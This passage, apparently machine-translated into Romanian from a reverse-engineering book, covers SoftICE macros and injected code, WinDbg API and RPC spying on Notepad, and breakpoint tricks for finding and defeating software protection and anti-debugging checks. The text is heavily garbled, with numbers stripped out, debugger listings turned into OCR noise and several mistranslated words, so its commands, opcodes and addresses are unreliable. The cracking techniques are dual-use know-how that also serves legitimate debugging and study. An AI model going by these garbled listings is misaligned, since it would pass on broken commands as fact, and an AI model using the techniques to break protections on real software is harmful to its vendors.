Setați eip la începutul funcției noastre □ Transmite argumente într-un fel sau altul (de exemplu, prin registre) □ Executați o funcție, returnând rezultatul lucrării, de exemplu, prin eax □ Analizați valoarea returnată prin efectuarea anumitor operații □ Restabiliți registrele modificate □ Restabiliți registrul еір și registrul de semnalizare □ Continuați execuția normală a programului Sună intimidant, dar nu este nimic complicat Să încercăm mai întâi să executăm funcția de mutare eax,eax/ret Cum să îl traduc în codul mașinii? Puteți, desigur, să utilizați HIEW sau chiar FASM, dar o puteți face fără a părăsi SoftICE Pentru a face acest lucru, trebuie doar să mutați în orice regiune liberă a memoriei și să lansați comanda a (asamblare) Rețineți că ar trebui să vă asigurați că vă aflați în contextul aplicației pe care o depanați înainte de a face acest lucru Capitolul Discuție de depanare extinsă (numele său este afișat în colțul din dreapta jos al ecranului), și nu în nucleu, altfel sistemul se va bloca Procesul de asamblare a unei funcții în SoftICE este prezentat în Lista j Lista Asamblarea unei funcții personalizate în SoftICE :a esp- : B DC xor ex,eax : B DE ret : B DF :d esp- : B DC CO NW DB FB - AE F FF FF FF FF w w : B EC D E - CO C YH Acum programul este pe stivă, dar cum se execută? Da, foarte usor! Dacă dați doar comanda G esp-Y (mergeți la adresa esp-Y) și lăsați procesorul să iasă cât mai bine, atunci este puțin probabil să facă față acestei sarcini Pentru a readuce controlul la adresa curentă a programului depanat, trebuie mai întâi să salvați registrul ep, iar acest lucru nu este atât de ușor de făcut Comanda e (esp-Y) eip nu funcționează deoarece nu permite expresii (și numele registrului este o expresie) Prin urmare, o încercare de a executa o astfel de comandă va eșua și veți vedea eroarea de sintaxă a mesajului (eroare de sintaxă) Cum să fii? Ce sa fac? Să folosim comanda și (showe) pentru a copia blocuri de memorie de la o adresă la alta Apoi putem salva un fragment din programul original pe stivă și putem modifica programul în sine la discreția noastră Mai exact, va trebui să scriem push eax / mov eax, esp / sub eax, lOh / CALL eax sau o secvență similară de comenzi Pe scurt, avem nevoie de instrucțiunea de apel esp-n, dar din moment ce nu există o astfel de instrucțiune în lexicul procesoarelor x și nu a existat niciodată, trebuie să o emulăm prin transformări matematice cu orice registru suplimentar De exemplu, să fie registrul eax În codul nativ, ar arăta astfel: h/ Bh C h/ h E h h/FFh D h Acum să copiem fragmentul programului depanat pe stivă: eep l io esp- , unde esp este adresa de destinație care se află deasupra indicatorului superior al stivei și nu suprascrie programul mașinii noastre Acum modificăm vecinătatea programului depanat: ed еір С В О; ed ep+ D FF E După cum puteți vedea, acesta este același cod, tastat doar în ordine inversă, deoarece pe procesoarele x octetul inferior este situat la o adresă inferioară În această etapă pregătitoare poate fi considerată finalizată Dăm comanda m (Trace), repetând această comandă de patru ori înainte de a intra în funcția noastră și apoi comanda p rft pentru a ieși de acolo Si asta e! Registrul eax conține acum zero! Funcția noastră și-a încheiat activitatea și a returnat tot ce și-a dorit! Nu este grozav să-ți executi propriul cod scris de la zero direct în depanator? Singura problemă rămasă este cum se analizează valoarea returnată în depanator? Dacă încercați să mergeți direct: if ieax == ) do xxxx, atunci veți eșua complet Cert este că SoftICE nu acceptă comenzi condiționate, iar cuvântul cheie if poate apărea doar la punctele de întrerupere Ei bine, haideți să creăm un punct de întrerupere inactiv special pentru acest scop, care se declanșează întotdeauna (Listarea ) Lista Punctul de întrerupere inactiv vă permite să utilizați cuvântul cheie IF BPX EIP IF (EAX== ) DO xxxx Desigur, indiferent dacă punctul de întrerupere atinge sau nu, trebuie să restabilim registrul EAX Partea a II-a Tehnici de bază de hacking Notă Nu uitați de cazul steagurilor, care ar trebui și ele păstrate Procedura de salvare este similară cu cea a registrului eax și, prin urmare, nu este acoperită aici După salvarea registrelor, este necesar să readuceți fragmentul programului original în poziția inițială și să eliminați punctul de întrerupere inactiv, deoarece numărul de puncte de întrerupere nu este nelimitat În ceea ce privește registrul eax, acesta poate fi restaurat prin instrucțiunea pop eax care urmează apelului eax Designul m esp- l eip- va ajuta la readucerea programului la locul său De unde a venit argumentul ep- ? De ce nu doar eir? Cert este că în procesul de efectuare a „patch-ului” valoarea lui еір s-a schimbat! Numărul este dimensiunea „patch-ului” nostru împreună cu comanda pop eax Rămâne doar să lansați comanda r еір еір- pentru a reveni еіp la locul său, iar execuția programului depanat poate fi continuată în siguranță Dacă totul a fost făcut corect și niciun mecanism de protecție nu a folosit o stivă nefolosită, atunci programul care este depanat nu se va bloca Notă Apropo, sub Windows x, cu o oarecare probabilitate, eșecurile vor apărea în continuare, deoarece distruge în mod activ stiva Pentru a nu o lăsa să se comporte prost, registrul esp ar trebui să fie tras în sus pe durata tuturor operațiunilor și apoi revenit la poziția inițială Desigur, nu este necesar să tastați manual codurile de mașină de fiecare dată Ocupația este obositoare și nu poate fi numită plăcută Aici sunt utile macrourile! Dam comanda macrojname = "ххххх" și adăugăm macro-ul la lista de constante Acest lucru se face astfel: lansați Symbol Loader, selectați comenzile Edit | SoftICE Initialization Settings din meniul principal, mergeți la fila Macro Definitions , apăsați butonul Adăugare și dați macrocomenzii un nume (cale) și corpul (definiție) Acum macro-ul va fi încărcat automat cu SoftICE Puteți crea o bibliotecă întreagă cu propriile puncte de întrerupere condiționale extinse care acceptă funcții precum căutarea un subșir într-un șir sau compararea șirurilor cu modele și Acest lucru se poate face cu adevărat, iar apoi puterea SoftICE este înmulțită În plus, veți avea o oportunitate grozavă de a exersa programarea la nivel de cod de mașină! Apropo, macrourile vă permit să rezolvați o altă problemă Cert este că SoftICE nu acceptă puncte de întrerupere imbricate, de care nu ne putem lipsi (după cum vă amintiți, pentru a analiza conținutul registrului eax, a trebuit să apelăm la crearea unui punct de întrerupere inactiv) Dacă încercăm să scriem: BPX CreateFileA DO "XXX; bpx EIP DO "XXXX"; x;", nimic nu va funcționa! SoftICE va fi confuz de ghilimele și va refuza să proceseze acest construct Dar dacă comanda bpx exp do "хххх" este emisă ca o macrocomandă numită, de exemplu, xyz, atunci construcția bpx CreateFileA do "ххх; xyz, - x;" va fi primit destul de favorabil de către depanator Rutare animată în SoftICE Unele programe de depanare (de exemplu, OllyDbg) au o caracteristică utilă care nu este disponibilă în SoftICE Aceasta este o capacitate animată de urmărire pas cu pas, cu puncte de întrerupere condiționate la fiecare pas De exemplu, puteți pune un punct de întrerupere pe construcția test eax,eax/jx xxx, determinând depanarea să apară ori de câte ori registrul eax este zero (sau orice valoare alegeți) O construcție care setează un astfel de punct de întrerupere ar putea arăta astfel: top IF (*cuvânt(EIP)== xC && (*byte(EIP+ ) & h)== h) Aici xC este codul operațional al comenzii test eax,eax, iar h este masca de instrucțiuni Jx Punctul de întrerupere în ansamblu vă permite să capturați constructe de programare precum f (func ( , , ) != ) , care sunt adesea folosite în mecanismele de apărare SoftICE nu înțelege astfel de glume și cere ca adresa punctului de întrerupere să fie setată în mod explicit, de exemplu, top eip Și chiar și în acest caz, creează un singur punct de întrerupere pe baza valorii curente a lui еір (ce era în momentul în care punctul de întrerupere a fost creat) și refuză să îl „recalculeze” automat în timpul execuției programului Ce păcat! Capitolul Discuție de depanare extinsă Dar de dragul acestei oportunități, mulți hackeri abandonează obișnuitul SoftICE și trec la OIlyDbg Între timp, problema poate fi rezolvată prin intermediul SoftICE! Faptul este că macrocomenzile pot fi imbricate în SoftICE! Încercați să scrieți macro xyz="T; xyz,- ", tastați xyz și vedeți ce se întâmplă SoftICE va începe să anime programul! Nu prea repede, dar totuși destul de productiv În orice caz, acesta este destul de potrivit pentru a face față cu ambalatori și protectori Odată ce am învățat cum să animem programul, crearea de puncte condiționate nu va mai fi o problemă serioasă Iată, de exemplu, o macrocomandă atât de utilă: macro xyz \u d "max eip; T, -xyz;" Ce face? Dar ce! Evidențiază fluxul programului, marcând codul executat și vedem imediat care s-au efectuat sărituri condiționate și care nu sunt, așa cum se arată în Figura Cu toate acestea, trebuie luat în considerare faptul că numărul de puncte de întrerupere este limitat și, prin urmare, acestea trebuie eliminate periodic Orez Macro de marcare a comenzilor executate SoftICE este un instrument cu adevărat puternic, cu o putere distructivă extraordinară, care permite hackerilor să facă tot ce au nevoie și chiar mai mult! Principalul lucru este să ai o fantezie Logarea nu este singura profesie alternativă în SoftICE Dacă doriți, puteți construi un amortizor excelent sau altceva din acesta Dar acesta este un subiect pentru o altă discuție Principalul lucru este să înțelegi ideea Acest capitol nu oferă soluții gata făcute, ci are scopul de a vă atrage atenția asupra unui întreg strat de posibilități pe care fiecare le poate folosi la propria discreție Depanator WinDbg ca spion API și RPC Versiunile timpurii ale depanatorului WinDbg de la Microsoft nu erau foarte populare printre hackeri și toate se bazau foarte mult pe SoftICE Cu toate acestea, acum că sprijinul pentru acesta din urmă a fost întrerupt și este sortit unei morți lene, dar inevitabile, se pune întrebarea: cum să continuăm Partea a II-a Tehnici de bază de hacking live și ce să folosești pentru hacking? Între timp, WinDbg s-a maturizat foarte mult, iar într-o serie de caracteristici se poate compara deja cu SoftICE, sau chiar îl poate ocoli Această secțiune vă va arăta cum să utilizați WinDbg ca spion API și RPC Microsoft Windows Debugger (WinDbg) este inclus în multe produse: Platform SDK, Driver Development Kit (DDK), Windows Driver Foundation (WDF) și vine, de asemenea, la pachet cu un pachet independent de Debugging Tools pentru Windows, care ocupă puțin mai mult de MB , iar versiunea WinDbg din Instrumentele de depanare pentru Windows este de obicei cea mai recentă și conține cel mai mare număr de extensii utile Îl puteți descărca aici: http://www microsoft com/whdc/devtools/debugging (versiunile pe de biți și de biți) Pachetul este gratuit, iar Microsoft nici măcar nu vă solicită să vă autentificați copia de Windows, cel puțin nu încă Prima cunoaștere cu WinDbg Depanatorul WinDbg vine în două forme: i kd exe (pentru versiunea pe de biți, ia kd exe) este un depanator de consolă la nivel de kernel (Fig ) care depanează numai driverele împreună cu depozitele de memorie kernel și necesită cel puțin două mașini conectat prin cablu prin porturi COM sau interacționând printr-o rețea Notă Dacă nu aveți două computere la dispoziție, puteți utiliza emulatorul VMWare, care acceptă adaptoare de rețea virtuale și permite depanarea printr-un port COM virtual Deși i kd exe este un depanator destul de puternic și bun (descris în detaliu în cartea lui Sven Schreiber „Funcțiile nedocumentate ale Windows ” ), nu va fi necesar în scopurile noastre de hacking p all” iResetare domeniul prestabilit dl,[ecx] ds: : e c =? TEXT STRCK: URRNIHG: Informațiile Stiva Lnwind nu sunt disponibile franes FOLLOHUPJP: » n * f all eov SVtBOL ST CK M)EX: F L WUP NRME: MachineOmer dl,[ecx] SVMBOL N ME: „ n - MODUL Nfil'E: w n IMRGE NRME: „i n sys DEBUG FLR IMRGE TIM:STR#>: f f d lsTRCK COMMRND: trap ffffffff e ; kb IVІІSKET IV: xDl w n - IfoIIowio: MachineOwner kd > d el f el f el f el ef a f f fe c d d c c f f c ff ff f ff ff d fl f Orez Versiunea de consolă a WinDbg - i kd Apelurile RPC (Remote Procedure Calls) sau apelurile de procedură la distanță) reprezintă un fel de fundație pentru multe servicii de sistem, cum ar fi serviciul de imprimare, de exemplu Sven Schreiber „Funcții nedocumentate ale Windows ” - Sankt Petersburg: Peter, Capitolul Discuție de depanare extinsă Orez Versiunea grafică a WinDbg WinDbg exe (Figura ) este o aplicație GUI tipică pentru un singur computer, care vă permite să depanați aplicațiile, să analizați depozitele de memorie și să spionați evenimentele din sistem Dar pentru a depana driverele, aveți nevoie din nou de un al doilea computer conectat printr-o rețea sau cablu Cu toate acestea, ne putem descurca fără cablu O mulțime de informații utile sunt conținute în fișierul de ajutor debugger chm, care este o citire bună înainte de a începe cu debuggerul Posibilitățile WinDbg sunt mult mai largi decât pare la prima vedere Singura problemă este că meniul și alte comenzi ale interfeței pur și simplu nu sunt accesibile! OK, să începem să săpăm adânc Directoarele w kchk și w kfre conțin module de extensie pentru Windows , concepute ca biblioteci dinamice Conținutul ambelor directoare este identic, iar diferența dintre ele este că fișierele din directorul *chk funcționează cu versiunea de depanare a nucleului (verificarea build), iar modulele din directorul *fre funcționează cu versiunea finală (lansare) ) Să vedem ce avem aici (Listarea ) Afișează pluginurile YU WinDbg ale zilei concepute? Blocate pentru Windows Directorul C:\Program Files\Debugging Tools pentru Windows\w kfre : : / / : acpikd dll / / : gdikdx dll / / : kdex x dll Partea a II-a Tehnici de bază de hacking / / : kdextx dll / / : ndiskd dll / / : ntsdexts dll / / : rpcexts dll / / : scsikd dll / / : userexts dll / / : userkdx dll / / : vdmexts dll Fișier(e) octeți foldere octeți liberi Scopul majorității modulelor poate fi determinat de numele lor Ca ultimă soluție, puteți încărca un modul obscur în depanator și puteți apela sistemul de ajutor al acestuia Deocamdată, să aruncăm o privire la directorul winxp, care conține extensii specifice Windows XP (Listarea - ) Lista Module de extensie pentru WinDbg concepute pentru Windows XP Directorul C:\Program Files\Debugging Tools pentru Windows\winxp : : : acpikd dll : default tmf : exts dll : kdexts dll : mmipkd dll : ndiskd dll : ntsdexts dll : rpcexts dll : scsikd dll : system tmf : traceprt dll : vdmexts dll : w cpuex dll : w ia xcpuex dll : wamd cpuex dll : wmitrace dll : wow exts dll fișier(e) octeți foldere octeți liberi După cum puteți vedea, setul de extensii pentru Windows XP este mult mai bogat În ceea ce privește extensiile responsabile de spionaj, acestea sunt stocate în directorul winext, care este comun tuturor sistemelor (Listing ) ■ ■ ■ ■ Lista L Module de extindere pentru YunObd concepute pentru sisteme de operare Directorul C:\Program Files\Debugging Tools pentru Windows\winext : : : ext dll : kext dll : logexts dll : manifest Capitolul Discuție de depanare extinsă : uext dll : wdfkd dll Fișier(i) octeți foldere octeți liberi Fișierul cu numele fără sens logexts dll este componenta spion Acum pentru WinDbg în sine Toată lumea poate personaliza aspectul ferestrelor, culoarea și fontul în funcție de gusturile lor, care, după cum știți, sunt diferite pentru fiecare Tehnica de spionaj API Platforma SDK a inclus inițial un utilitar, care este un fel de spion API Acest utilitar s-a numit \Microsoft Platform SDK\Bin\WinNT\Apimon Exe, dar acest monitor a oferit doar statistici generale despre apelurile API, indiferent de cronologia lor și s-a prăbușit în mod constant când încerca să încarce ceva mai complex decât Notepad în el (Fig ) ) Cu alte cuvinte, Apimon exe nu era potrivit pentru hacking Să ne uităm la WinDbg - ce s-a schimbat în el? Privind în viitor, să spunem - absolut totul! Microsoft ne-a oferit un instrument complex și puternic care poate rezolva o gamă largă de probleme și poate contracara diferitele tehnici anti-depanare cu care sunt umplute mecanismele moderne de apărare Să începem să experimentăm În primul rând, încărcăm fișierul în depanator, pentru care vom spiona, de exemplu, același Notepad Pentru a face acest lucru, selectați File I Open executabil din meniu și selectați notepad exe din lista de fișiere Alternativ, apăsați comanda rapidă de la tastatură + și indicați spre notepad exe Printre altele, fișierul poate fi încărcat și din linia de comandă Partea a II-a Tehnici de bază de hacking Notă Nu ar trebui să utilizați butonul din bara de instrumente cu imaginea unui folder derulant - tot nu vă va ajuta Acest buton este conceput pentru a lucra cu textele sursă și mediul lor, care, desigur, nu sunt la dispoziția noastră La urma urmei, dacă ar fi, atunci nu ar fi nevoie de spionaj Depanatorul încarcă cu atenție fișierul, afișează toate bibliotecile dinamice listate în tabelul de import, afișează conținutul registrelor și setează un punct de întrerupere la punctul de intrare De fapt, credem că depanatorul a setat un punct de întrerupere la punctul de intrare, dar de fapt nu o face deloc (Listing ) Judecând după adresa F i Ch, care se află adânc în interiorul NTDLL DLL, acesta nu este deloc un punct de intrare, ci o funcție API nativă DbgBreakPoint, care poate fi urmărită la infinit, dar nu iese niciodată Trebuie să ieși și să folosești tot felul de soluții (care, totuși, este destul de tipic pentru hackeri) Listare K Linie de comandă: C:\WINNT\NOTEPAD EXE Calea de căutare simbol este: *** Invalid *** * Încărcarea simbolurilor poate fi nesigură fără o cale de căutare a simbolurilor * * Utilizați symfix pentru ca depanatorul să aleagă o cale de simbol * * După ce setați calea simbolului, utilizați reload pentru a reîmprospăta locațiile simbolului * notepad exe ntdll dll C:\WINNT\system \comdlg dll C:\WINNT\system \SHLWAPI DLL C:\WINNT\system \ADVAPI dll C:\WINNT\system \KERNEL dll C:\WINNT\sys tem \RPCRT dl C:\WINNT\system \GDI dll C:\WINNT\sys tem \USER dll C:\WINNT\system \msvcrt dll C:\WINNT\system \COMCTL DLL C:\WINNT\sys tem \SHELL DLL C:\WINNT\system \WINSPOOL DRV C:\WINNT\sys tem \MPR DLL excepție - cod (prima șansă) f ffd ae ble c c e f f f f el e ce d c d ee Calea de căutare executabilă este: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ModLoad: ( ): Instrucțiuni de pauză eax= ebx= f ecx= edx= esi= ffdf edi= f eip= f c esp= f ebp= f ebp= f ebp= f ebp= f ebp= f ebp= f ns es ns es fs= b gs= efl= *** EROARE: Fișierul simbol nu a putut fi găsit Implicit pentru a exporta simboluri pentru ntdll dll -ntdll DbgBreakPoint: f c cc Deci, pentru a găsi adevăratul punct de intrare, încărcați notepad exe într-un editor hexadecimal (de exemplu HIEW) Apoi, comutați în modul hex apăsând tasta , apoi apăsați tasta pentru a afișa titlul și săriți la punctul de intrare adevărat apăsând În acest caz, adresa adevăratului punct de intrare (în acest exemplu, egală cu h) este afișată în colțul din stânga sus al ecranului (Fig ) Acum ar trebui să reveniți la WinDbg și, în timp ce vă aflați în fereastra de comandă, introduceți comanda vp pentru a seta un punct de întrerupere la punctul de intrare adevărat al programului Apoi apăsați tasta sau introduceți comanda g (goto) și așteptați dezvoltarea evenimentelor Nu va trebui să așteptați mult (Listing ) Capitolul Discuție de depanare extinsă Orez Determinarea punctului de intrare adevărat cu HIEW isting Setarea manuală a unui punct de întrerupere la un punct de intrare adevărat : > BP : >g ModLoad: e e a C:\WINMT\system \IMM DLL ModLoad: C:\lVINW\systern \wiTifhotfix dll Punct de întrerupere lovit eax= ebx= ffdf ecx= edx=ffffffff esi= a f edi= af eip= esp= ffc ebp= ffffff esi= a f edi= af eip= esp= ffc ebp= ffffff ebp= ffffff iopl= ffc ebp= fff iopl = pl Es= gs= efl= notepad+ x : push ebp Depanatorul încarcă încă două biblioteci dinamice (dintre care una este wmfhotfix dll - un patch de la Ilfak ), afișează cu bucurie un mesaj că punctul de întrerupere a funcționat (Breakpoint on hit), afișează valorile registrului și prima comandă a mașinii la punctul de intrare - apăsați ebp (vezi Lista ) Comanda și ne va permite să dezasamblam restul comenzilor în urma acesteia, ajutând să ne asigurăm că de data aceasta chiar am ajuns unde ne-am dorit (lista ) Ilfak Gilfanov, autorul dezasamblatorului IDA Pro Partea a II-a Tehnici de bază de hacking Lista Dezasamblarea Cartierelor Puncte de Intrare : >Unnotepad+ x : push ebp bec mov ebp,sp aff push Oxff push x a d push xl d f al mov eax,fs:[ ] push eax mov fs: [ ],esp Acum că toate activitățile pregătitoare sunt finalizate, trebuie să conectați modulul de extensie Pentru a face acest lucru, dăm comanda iload , unde cale este numele modulului de extensie (fără a specifica extensia numelui fișierului dll) În acest caz, este necesar să încărcați modulul responsabil de spionaj (logexts) Comanda completă arată ca Lista Lista Se încarcă modulul de extensie responsabil pentru spionarea funcțiilor API : > „încărcare logexts Depanatorul o înghite de parcă nimic nu s-ar fi întâmplat și se pare că nu se întâmplă nimic Dar nu este! Pentru a verifica dacă un modul de extensie a fost încărcat cu succes, apelați sistemul local de ajutor tastând „logexts help (Listarea - ) Lista , Afișează ajutor pentru comenzile spion : > „logexts help Windows API Logging Extensions v 'log[dir] 'log][dir] ! logd Activați înregistrarea Director de ieșire opțional Inițializați, dar nu activați înregistrarea Dezactivați înregistrarea în jurnal ieșire: ' siglă ! siglă [e|d] [d|t|v] Listează setările de ieșire Activare/dezactivare ieșire: d - Depanator t - Fișier text v - Jurnal detaliat Categorii: ! logc 'logcp# ! ogc [e|d] * 'logc [e|d] # [#] [#] acces la buffer: 'logb p 'logb f Includerea/excluderea modulelor: ! logm 'logm [ [x] [DLL] [DLL] Listați toate categoriile Listați API-urile în categoria # Activați/dezactivați toate categoriile Activați/dezactivați categoria # Prinț conținutul buffer-ului pentru depanare Spălați memoria tampon în fișierele jurnal Afișează lista de includere/excludere a modulelor Specificați lista de includere/excludere a modulelor Capitolul Discuție de depanare extinsă Wow! Cât de mult există, bun și diferit! Comanda loge [dir] permite spionarea funcțiilor API, permițându-vă opțional să specificați un director în care subfolderul LogExts va fi creat automat pentru a stoca jurnalele Jurnalele pot fi scrise atât în format text, cât și în format binar (formatul de ieșire este setat de comanda iodo), iar numele jurnalului corespunde numelui fișierului executabil pe care îl spiona depanatorul (de exemplu, noTEPAD EXE txt—da, asta este scris pe acest registru) Apelată fără parametri, comanda iodo tipărește formatul de jurnal curent Pentru a activa formatul text, trebuie să tastați logo e t, iar pentru a activa toate cele trei opțiuni, trebuie să apelați comanda iodo de trei ori cu taste diferite Din păcate, constructul 'iodo e dtv nu este acceptat de depanator Pentru a reduce dimensiunea jurnalului și a elimina informațiile în mod evident inutile, WinDbg acceptă categorii de apeluri API, a căror listă poate fi afișată cu comanda iods (lista ) Lista Răsfoiți categoriile de funcții API : > „Iods Categorii: AdvApi Activat AtomFunctions activate AVIileExports activat Clipboard activat ComponentObjectModel activat DebuggingAndErrorHandlingEnabled DeviceFunctions activate Direct D activat DirectDraw activat DirectPlay activat DirectSound activat GDI activat HandleAndObjectFunctionsEnabled Funcții de agățare activate lOfuncții activate MemoryManagementFunc ons Activat Multimedia activată Imprimare activată ProcessesAndThreadsEnabled RegistryFunctionsEnabled Shell activat StringManipulation activată ThreadLocalStorageEnabled User Activat User StringExportsEnabled Versiunea activată WinSock activat După cum puteți vedea, există de categorii în total și puteți utiliza comanda logic p #, unde # este numărul categoriei, de exemplu, - MemoryManagementFunctions (LISTING ), pentru a vizualiza funcțiile care aparțin fiecărei categorii Lista Vedeți numele funcțiilor API incluse în categoria MemoryManagementFunctions (fragment) : > „Jods R Funcții de gestionare a memoriei: AllocateUserPhysicalPages KERNEL DLL FreeUserPhysicalPages KERNEL DLL Partea a II-a Tehnici de bază de hacking GetProcessHeap GetProcessHeaps OpenFileMappingA OpenFileMappingW UnmapViewOfFile KERNEL DLL KERNEL DLL KERNEL DLL KERNEL DLL KERNEL DLL Pentru a spiona anumite categorii de caracteristici, utilizați comanda ilogc e # # #, unde e este activarea spionajului și # este o listă de categorii Tasta d (dezactivare), respectiv, exclude categoria specificată (categorii) de funcții API din cercul suspecților Spionarea unor astfel de funcții nu va fi efectuată Comanda logc e * include toate categoriile de funcții API ca suspecți Acesta este modul principal de spionaj, în care hackerii îl conduc atunci când se familiarizează pentru prima dată cu programul studiat Opțional, puteți specifica o listă de biblioteci dinamice care ar trebui sau nu ar trebui să fie spionate Acest lucru este adesea mult mai ușor decât să te joci cu categorii Comanda ! este responsabilă pentru afișarea listei curente de biblioteci „supravegheate” logm (Listarea - ) : > 'logm module incluse: USER DLL GDI DLL advapi dll Căutând această listă, suntem surprinși să aflăm că KERNEL DLL, biblioteca de bază de bază care conține majoritatea funcțiilor care ne interesează, lipsește din ea Încercarea de a-l lista cu „logm și kernel dll” are ca rezultat un mesaj de eroare care vă informează că KERNEL DLL trebuie eliminat și nu monitorizat (Listarea - ) : > 'logm KERNEL DLL KERNEL DLL este obligatoriu pentru excludere, deci nu poate fi inclus module incluse: De fapt, trebuie doar să apăsați , iar numele interceptate ale funcțiilor API aparținând KERNEL DLL (Listing ) vor apărea în jurnal (în paralel afișate pe ecran și în fișier) Thrd с BD GetProcAddress( NULL „RegisterPenApp”) Thrd с E F LoadLibraryExW(„INDICDLL dll” NULL ALTERED SRCH PAIH) Thrd c CF GetProcAddress ( x F "NtQuerySystemlnforrnaticn") Thrd c D D GetProcAddress( x F "NtOpenFile") Thrd c D A GetProcAddress( x F "RtlInitUncodeString") Thrd c E F LoadLibraryExW(„PDSHELL DLL” NULL ALTERED SRCH PAIH) Thrd c E F LoadLibraryExW(„SSSensor dll” NULL ALTERED SRCH PAIH) Thrd c AE DAB GetProcAddress( x "GetUserDefaultUILanguage") Thrd c CEAAF GetProcAddress ( x E „GetSysterrMetncs”) Thrd c CEAAF A GetProcAddress( x E "MonitorFrarWindow") Thrd c CEAAF B GetProcAddress( x E "MonitorFramRect") Thrd c CEAAF C GetProcAddress( x E "MomtorFramPoint") Thrd c CEAAF D GetProcAddress( x E "EnumDisplayMonitors") Thrd c CEAAF E GetProcAddress( x E "EnumDisplayDevicesW") Thrd c CEAAFAE GetProcAddress( x E "GetMomtorInfoW") ->NULL [FAIL] -> x E -> x F DC -> x F AC -> x FABE C -> x F -> x B -> x B -> x E -> x E B -> x E D -> x E A F -> x ElF D -> x E A -> x E A E Capitolul Discuție de depanare extinsă Avem la dispoziție numerele de thread-uri (thrd), precum și adresele de apelare a funcțiilor API împreună cu argumentele transmise acestora Fragmentul dat al protocolului arată că, apelând funcția GetProcAddress(NULL „RegisterPenApp”) la adresa BDh, Notepad a plonjat în abisul bibliotecilor de sistem care se află cu mult dincolo de aria sa de adrese Dar acesta nu este principalul lucru Principalul lucru este că spionul de la Microsoft funcționează și spionează cu succes, practic deloc inferior celor mai mulți dintre concurenții săi și chiar depășindu-i în anumite privințe! Tehnica de spionaj RPC Spionajul RPC este efectuat în multe moduri similar spionajului API, dar în loc de modulul de extensie logexts se folosește extensia rpcexts, care este încărcată de comanda iload rpcexts" și afișează ajutor pe tastele sale cu comanda !rpcexts help Aceste taste sunt atât de extinse (Fig Y ) încât necesită un capitol separat pentru descrierea lor sau nu? În cele mai multe cazuri, sistemul de ajutor încorporat este suficient! la: > rpcdbg - Duaps un obiect RPC - Dimensiunile de imprimare ale structurilor de date - Traduce valoarea erorii în mesajul de eroare Ispabol ( | ) - Returnează syabol naae/address trpcheap [-a ] -d ] - Duaps RPC HEHORV BLOCK linked tist 'pasync •rpcasg țstubasg •authinfo osecinfo !coadă! fir Icopachet ! Ipcpacket !transinfo - Duaps RPC ASVNC STATE - MESAJ RPC Duaps - Duaps MIDL STUB MESSAGE - Duaps CLIENT AUTH INFO - DuapsRPC SERVER - Furnizorul/pachetul de informații Duaps securitp - Duaps SDICT - Duaps SDICT - Duaps QUEUE - Duaps THREAD - Pachetul CD Duaps - Pachetul Duaps LRPC - Duaps TRANS INFO 'dgpkt tdgpkthdr [opțiuni] - Duaps jurnalul de evenimente, adăugați pentru ajutor - Duaps DG CCALL - Duaps DG SCAI I - Duaps DG PACKET ENGINE - Duaps DG PACKET - Antetul pachetului Duaps dg (NCA PACKET HEADER) - Duaps DG ENDP IN lasyncasg lasyncrpc lasyncdcoa - Duaps NDR ASVNC MESSAGE - Duaps RPC ASVNC STATE - Duaps CAsyncHanager 'pipeasg tpipedesc IYYYY> - Duaps NDR PIPE HESSAGE - Duaps NDRPIPFDFSC Orez Se încarcă modulul de extensie rpcexts responsabil pentru spionajul RPC (și nu doar spionaj!) și eliberarea unui certificat pe acesta Deci, ne-am uitat la doar două dintre numeroasele extensii de depanare WinDbg disponibile Este foarte recomandat să înveți toate aceste extensii descărcându-le una câte una și citind informațiile de ajutor afișate de ! Nume Ajutor Dar orice ar fi, SoftICE este încă păcat A fost un depanator bun Partea a II-a Tehnici de bază de hacking Trucuri hacker cu puncte de întrerupere arbitrare Punctele de întrerupere sunt arme puternice împotriva programelor protejate și, în mâinile potrivite, pot lovi ținte de la orice distanță Există doar trei moduri principale de „de fotografiere” - opriți când citiți, când scrieți și când executați codul în memorie la o anumită adresă Dar dacă adresa este necunoscută, dar îi știm conținutul? Să presupunem că am vrut să setăm un punct de întrerupere pentru parola introdusă sau comanda jmp eax, folosită de unii dezambalați pentru a transfera controlul către punctul de intrare original (Original Entry Point, OEP) Sau să presupunem că doriți să setați un punct de întrerupere pe o secvență de instrucțiuni de mașină care arată cam așa: apelați xxx/test eax, eax/jx După cum va fi arătat în următoarea parte a acestei cărți, „Identificarea structurilor cheie ale limbajelor de nivel înalt”, această secvență corespunde următoarei constructii de limbaj de nivel înalt: if (xxx(,,,) == ) Este la fel de interesant să setați un punct de întrerupere și să apelați instrucțiunii de regulă pop $+ , care este tipic pentru mecanismele de apărare care folosesc cod care se auto-modifica sau se copiază pe stivă, precum și în instrucțiunea pushfd, care este prezente în programele de auto-urmărire și în mecanismele de apărare anti-depanare Există și alte modele persistente, cu alte cuvinte, secvențe previzibile de instrucțiuni ale mașinii situate în vecinătatea mecanismului de apărare, sau chiar în interiorul său Dacă am putea seta un punct de întrerupere pe o anumită instrucțiune de mașină situată la o adresă arbitrară Dar, din păcate, depanatorul are nevoie de o adresă care să ne intereseze la fel de mult ca și el Lipsiți de suport hardware de la procesor, nu putem rezolva această problemă în termeni generali Cu toate acestea, este și prea devreme pentru a semna propria neputință Există mai multe metode mai mult sau mai puțin eficiente care dau rezultate destul de satisfăcătoare Acestea sunt acum pe care le vom lua în considerare Secretele de urmărire a pașilor Depanatorul OllyDbg acceptă puncte de întrerupere condiționate, care permit, printre altele, setarea punctelor de întrerupere pe comenzi (rețineți că SoftICE nu oferă o astfel de oportunitate) Cum o face exact OllyDbg? Foarte simplu - urmărește programul și la fiecare pas verifică adevărul uneia sau mai multor condiții specificate de hacker Acesta este un mecanism foarte puternic, cunoscut ca o condiție pentru întreruperea urmăririi rulării, care vă permite să setați puncte de întrerupere pentru orice combinație de comenzi, registre și/sau date Cu toate acestea, acest mecanism suferă de un număr mare de efecte secundare și limitări În modul de urmărire, viteza de execuție a programului încetinește de sute de ori, în plus, faptul de urmărire este foarte ușor de detectat, ceea ce fac mecanismele de protecție Dintre numeroasele tehnici anti-depanare, cea mai comună este citirea registrului de steag cu construcția pushfd / pop reg, urmată de verificarea bitului de urmărire (Trace Flag, TF) - este armat sau nu Microsoft Visual Studio Debugger își dezvăluie prezența imediat, dar OllyDbg nu poate fi păcălit! Dacă întâlnește o instrucțiune pushfd în timp ce urmărește un program, șterge bitul de urmărire după ce se execută, ascunzându-i prezența Cu toate acestea, acest truc rupe programele de auto-urmărire În plus, există și alte trucuri anti-depanare cărora 